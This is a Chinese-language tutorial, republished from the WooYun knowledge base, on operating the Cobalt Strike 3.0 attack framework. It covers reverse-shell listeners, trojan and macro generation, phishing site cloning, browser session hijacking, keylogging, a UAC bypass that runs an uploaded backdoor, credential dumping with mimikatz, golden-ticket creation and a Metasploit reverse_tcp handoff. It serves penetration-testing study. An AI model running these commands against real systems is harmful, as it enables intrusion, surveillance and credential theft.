Cobalt strike3.0使用手冊

wyzsk發表於2020-08-19
作者: Evi1cg · 2015/11/10 11:36

Alt text

0x00 簡介


Cobalt Strike 一款以metasploit為基礎的GUI的框架式滲透工具,整合了埠轉發、服務掃描,自動化溢位,多模式埠監聽,win exe木馬生成,win dll木馬生成,java木馬生成,office宏病毒生成,木馬捆綁;釣魚攻擊包括:站點克隆,目標資訊獲取,java執行,瀏覽器自動攻擊等等。而Cobalt Strike 3.0已經不再使用Metasploit框架而作為一個獨立的平臺使用,當然可以結合Armitage進行使用。這裡有一個破解版:

下載地址:戳我(自行驗證其安全性)

Cobalt Strike 3.0 延用了其強大的團體伺服器功能,能讓多個攻擊者同時連線到團體伺服器上,共享攻擊資源與目標資訊和sessions。當然,在使用Cobalt Strike之前,需要安裝java環境,具體怎麼配置,請移步[java language="環境搭建"][/java]/java3

0x01 執行


與之前版本的 Cobalt Strike不同, Cobalt Strike3.0需要開啟團體伺服器才可以連結使用,當然,這個伺服器可以放到公網環境下,或者放到自己想要搭建此服務的環境中。 下載好Cobalt Strike以後包含以下幾個檔案:

Alt text

其中關鍵的檔案是teamserver以及cobaltstrike.jar,將這兩個檔案放到伺服器上同一個目錄,然後執行:

☁  cobaltstrike  sudo ./teamserver 192.168.74.1 msf3

Alt text

這裡為了方便使用,最好使用具體的ip地址,而不是0.0.0.0或者127.0.0.1, 如果有多個網路卡,使用你要用的那個ip地址即可,msf3 為該團體伺服器的連線密碼。

服務執行以後,在客戶端進行連線:

☁  cobaltstrike  java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar $*

Alt text

這裡ip使用伺服器的ip,埠預設50050,使用者名稱隨意,密碼為之前設定的密碼,然後connect,彈出驗證視窗,然後點是,就進入Cobalt Strike了。

Alt text

0x02 Listeners


使用Cobalt Strike首先需要建立一個Listener,依次點選 Cobalt Strike->Listeners ,然後點選Add便可以建立自己想要的Listeners了,Cobalt Strike3.0包括

  • windows/beacon_dns/reverse_dns_txt
  • windows/beacon_dns/reverse_http
  • windows/beacon_http/reverse_http
  • windows/beacon_https/reverse_https
  • windows/beacon_smb/bind_pipe
  • windows/foreign/reverse_dns_txt
  • windows/foreign/reverse_http
  • windows/foreign/reverse_https
  • windows/foreign/reverse_tcp

其中windows/beacon* 是Cobalt Strike自帶的模組,包括dns,http,https,smb四種方式的監聽器,windows/foreign* 為外部監聽器,即msf或者Armitage的監聽器。 選擇監聽器以後,host會自動填寫我們開啟服務時的ip,配置監聽埠,然後儲存,監聽器就建立好了。

0x03 Attacks


建立好監聽器,下面就需要配置客戶端了,Cobalt Strike包括多種攻擊方式,其中Packages包括如下幾種:

Alt text

HTML Application 生成惡意的HTA木馬檔案;

MS Office Macro 生成office宏病毒檔案;

Payload Generator 生成各種語言版本的payload;

USB/CD AutoPlay 生成利用自動播放執行的木馬檔案;

Windows Dropper 捆綁器,能夠對文件類進行捆綁;

Windows Executable 生成可執行exe木馬;

Windows Executable(S)生成無狀態的可執行exe木馬。

Web Drive-by(釣魚攻擊)包括如下幾個模組:

Alt text

Manage對開啟的web服務進行管理;

Clone Site 克隆網站,可以記錄受害者提交的資料;

Host File 提供一個檔案下載,可以修改Mime資訊;

PowerShell Web Delivery類似於msf 的web_delivery ;

Signed Applet Attack 使用java自簽名的程式進行釣魚攻擊;

Smart Applet Attack 自動檢測java版本並進行攻擊,針對Java 1.6.0_45以下以及Java 1.7.0_21以下版本;

System Profiler用來獲取一些系統資訊,比如系統版本,Flash版本,瀏覽器版本等。

Spear Phish 是用來郵件釣魚的模組。

0x04 View


Alt text

View模組可以方便測試者檢視各個模組,圖形化的介面可以方便的看到受害者機器的各個資訊。

Applications顯示受害者機器的應用資訊;

Credentials顯示受害者機器的憑證資訊,能更方便的進行後續滲透;

Downloads 檔案下載;

Event Log可以看到事件日誌,清楚的看到系統的事件,並且團隊可以在這裡聊天;

Keystrokes檢視鍵盤記錄;

Proxy Pivots檢視代理資訊;

Screenshots檢視螢幕截圖;

Script Console在這裡可以載入各種指令碼以增強功能,指令碼地址戳我;

Targets檢視目標;

Web Log檢視web日誌。

還有Reporting的功能就不介紹了,主要就是出報告用的。

0x05 Beacon


Beacon可以選擇透過DNS還是HTTP協議出口網路,你甚至可以在使用Beacon通訊過程中切換HTTP和DNS。其支援多主機連線,部署好Beacon後提交一個要連回的域名或主機的列表,Beacon將透過這些主機輪詢。目標網路的防護團隊必須攔截所有的列表中的主機才可中斷和其網路的通訊。

透過種種方式獲取shell以後(比如直接執行生成的exe),就可以使用beacon了,右擊電腦,Interact,則可開啟Beacon Console;

Alt text

在beacon處輸入help,則可以看到詳細說明:

beacon> help    

Beacon Commands
===============    

    Command                   Description
    -------                   -----------
    browserpivot              Setup a browser pivot session 
    bypassuac                 Spawn a session in a high integrity process
    cancel                    Cancel a download that's in-progress
    cd                        Change directory
    checkin                   Call home and post data
    clear                     Clear beacon queue
    covertvpn                 Deploy Covert VPN client
    desktop                   View and interact with target's desktop
    dllinject                 Inject a Reflective DLL into a process
    download                  Download a file
    downloads                 Lists file downloads in progress
    drives                    List drives on target
    elevate                   Try to elevate privileges
    execute                   Execute a program on target
    exit                      Terminate the beacon session
    getsystem                 Attempt to get SYSTEM
    getuid                    Get User ID
    hashdump                  Dump password hashes
    help                      Help menu
    inject                    Spawn a session in a specific process
    jobkill                   Kill a long-running post-exploitation task
    jobs                      List long-running post-exploitation tasks
    kerberos_ccache_use       Apply kerberos ticket from cache to this session
    kerberos_ticket_purge     Purge kerberos tickets from this session
    kerberos_ticket_use       Apply kerberos ticket to this session
    keylogger                 Inject a keystroke logger into a process
    kill                      Kill a process
    link                      Connect to a Beacon peer over SMB
    logonpasswords            Dump credentials and hashes with mimikatz
    ls                        List files
    make_token                Create a token to pass credentials
    mimikatz                  Runs a mimikatz command
    mkdir                     Make a directory
    mode dns                  Use DNS A as data channel (DNS beacon only)
    mode dns-txt              Use DNS TXT as data channel (DNS beacon only)
    mode http                 Use HTTP as data channel
    mode smb                  Use SMB peer-to-peer communication
    net                       Network and host enumeration tool
    note                      Assign a note to this Beacon       
    portscan                  Scan a network for open services
    powershell                Execute a command via powershell
    powershell-import         Import a powershell script
    ps                        Show process list
    psexec                    Use a service to spawn a session on a host
    psexec_psh                Use PowerShell to spawn a session on a host
    pth                       Pass-the-hash using Mimikatz
    pwd                       Print current directory
    rev2self                  Revert to original token
    rm                        Remove a file or folder
    rportfwd                  Setup a reverse port forward
    runas                     Execute a program as another user
    screenshot                Take a screenshot
    shell                     Execute a command via cmd.exe
    sleep                     Set beacon sleep time
    socks                     Start SOCKS4a server to relay traffic
    socks stop                Stop SOCKS4a server
    spawn                     Spawn a session 
    spawnas                   Spawn a session as another user
    spawnto                   Set executable to spawn processes into
    steal_token               Steal access token from a process
    timestomp                 Apply timestamps from one file to another
    unlink                    Disconnect from parent Beacon
    upload                    Upload a file
    wdigest                   Dump plaintext credentials with mimikatz
    winrm                     Use WinRM to spawn a session on a host
    wmi                       Use WMI to spawn a session on a host

對於某個模組的使用方式可以直接使用help檢視,如:

beacon> help browserpivot
Use: browserpivot [pid] [x86|x64]
     browserpivot [stop]    

Setup a Browser Pivot into the specified process. To hijack authenticated
web sessions, make sure the process is an Internet Explorer tab. These
processes have iexplore.exe as their parent process.    

Use "browserpivot stop" to tear down the browser pivoting sessions 
associated with this Beacon.

下面主要介紹幾個好玩兒的功能。這裡為了能快速顯示結果,可以設定

beacon>sleep 0

0x051 Browserpivot

使用者注入受害者瀏覽器程式,然後開啟HTTP代理,之後就可以登入受害者登入的網站了。

使用方式,ps找到瀏覽器程式:

Alt text

注入程式:

beacon> browserpivot 3452 x64

Alt text

設定本地瀏覽器代理:

Alt text

當受害者登入某網站賬號以後,透過代理,本機瀏覽器同樣登入該網站:

Alt text

當然當被攻擊者關閉瀏覽器的時候,代理也就失效了,關閉此代理可使用如下命令:

browserpivot stop

0x052 Socks

可以直接開啟socks4a代理,可以透過代理進行內網滲透測試。

開啟socks

beacon>socks 9999

這裡可以選擇其中一臺,右鍵Pivoting->SOCKS Server,則使用此臺計算機開啟socks代理。

配置proxychains.conf,新增

socks4 127.0.0.1 9999

然後就可以透過proxychains 使用各種工具做內網滲透了。

或者直接開啟隧道使用msf,依次點選View->Proxy Pivots,選擇Socks4a Proxy,點選Tunnel:

Alt text

複製以後,在msf中執行,則可以開啟代理:

Alt text

關閉socks

beacon>socks stop

0x053 Screenshot&Keylogger

這裡的screenshot可以擷取受害者一定時間的螢幕截圖,操作命令為:

beacon>screenshot [pid] <x86|x64> [run time in seconds]

或者

beacon>screenshot

然後開啟View->Screenshots,則可以看到螢幕截圖:

Alt text

鍵盤記錄器的使用方式為:

Use: keylogger [pid] <x86|x64>

然後開啟View->Keystrokes,則可以看到鍵盤記錄結果:

Alt text

如果不想使用命令列,可以直接選擇受害者計算機(可多選),右鍵->Explore->Process List:

Alt text

0x054 powershell-import

這個功能在後滲透測試中很有用,可以匯入各種powershell滲透框架,比如nishang的powerpreter,直接執行:

beacon> powershell-import

然後在檔案瀏覽器裡面選擇 Powerpreter.psm1:

Alt text

或者直接執行:

powershell-import [/path/to/local/script.ps1]

進行匯入,之後就可以使用powerpreter的各種模組了。

要執行某模組直接使用如下命令,比如:

beacon> powershell Check-VM

Alt text

關於powerpreter之前在zone有簡單的介紹,powershell後滲透框架 powerpreter

0x055 kerberos相關

這裡一共有三個模組,分別是:

  • kerberos_ccache_use :從ccache檔案中匯入票據
  • kerberos_ticket_purge :清除當前會話的票據
  • kerberos_ticket_use:從ticket檔案中匯入票據

獲取黃金票據的方式比如使用mimikatz:

kerberos::golden /admin:USER /domain:DOMAIN /sid:SID /krbtgt:HASH /ticket:FILE

烏雲關於kerberos也有相關文章,有興趣的可以看一下:

據說這個在域滲透中很有用喲~

0x056 BypassUAC

什麼,你不能讀密碼?試試bypassuac吧~

直接執行

beacon> bypassuac

下面你就可以執行那些需要最高許可權的操作了。

這一塊在測試Win10的時候並沒有成功,關於Win10的bypassuac我在部落格裡面也有相關介紹,詳情:戳我呀

在這裡就演示使用bypassuac的powershell指令碼來獲取Win10最高許可權,由於nishang的powershell指令碼現在並不支援Win10,所以這裡使用了一個我修改的powershell指令碼 invoke-BypassUAC.ps1

生成一個beacon後門:

Alt text

上傳後門:

beacon> cd E:
beacon> upload /Users/evi1cg/Desktop/test.exe 

載入powershell執行後門:

beacon> powershell-import /Users/evi1cg/Pentest/Powershell/MyShell/invoke-BypassUAC.ps1
beacon> powershell Invoke-BypassUAC -Command 'E:\test.exe'

然後他就破了:

Alt text

使用那個破了的電腦的beacon讀取密碼:

beacon> sleep 0
beacon> wdigest

Alt text

beacon> hashdump

Alt text

0x06 與msf聯動


cobalt strike3.0 不再使用Metasploit框架而作為一個獨立的平臺使用,那麼怎麼透過cobalt strike獲取到meterpreter呢,別擔心,可以做到的。 首先我們使用msf的reverse_tcp開啟監聽模式:

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.74.1 
lhost => 192.168.74.1
msf exploit(handler) > set lport 5555
lport => 5555
msf exploit(handler) > exploit -j

之後使用Cobalt Strike建立一個windows/foreign/reverse_tcp Listener:

Alt text

其中ip為msf的ip地址,埠為msf所監聽的埠。
然後選中計算機,右鍵->Spawn:

Alt text

選擇剛剛建立的監聽器:

Alt text

可以看到成功獲取了meterpreter回話:

Alt text

0x07 小結


此次測試使用windows/beacon_http/reverse_http來進行,具體DNS的監聽器請參考luom所寫Cobalt Strike 之團隊伺服器的搭建與DNS通訊演示,本篇文章只是介紹了Cobalt Strike的部分功能,如有錯誤,請各位大牛指正,關於Cobalt Strike其他的功能小夥伴們可以自己研究,如果可能的話,我也會對其進行補充。希望對各位小夥伴有用。

本文由evi1cg原創並首發於烏雲drops,轉載請註明

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章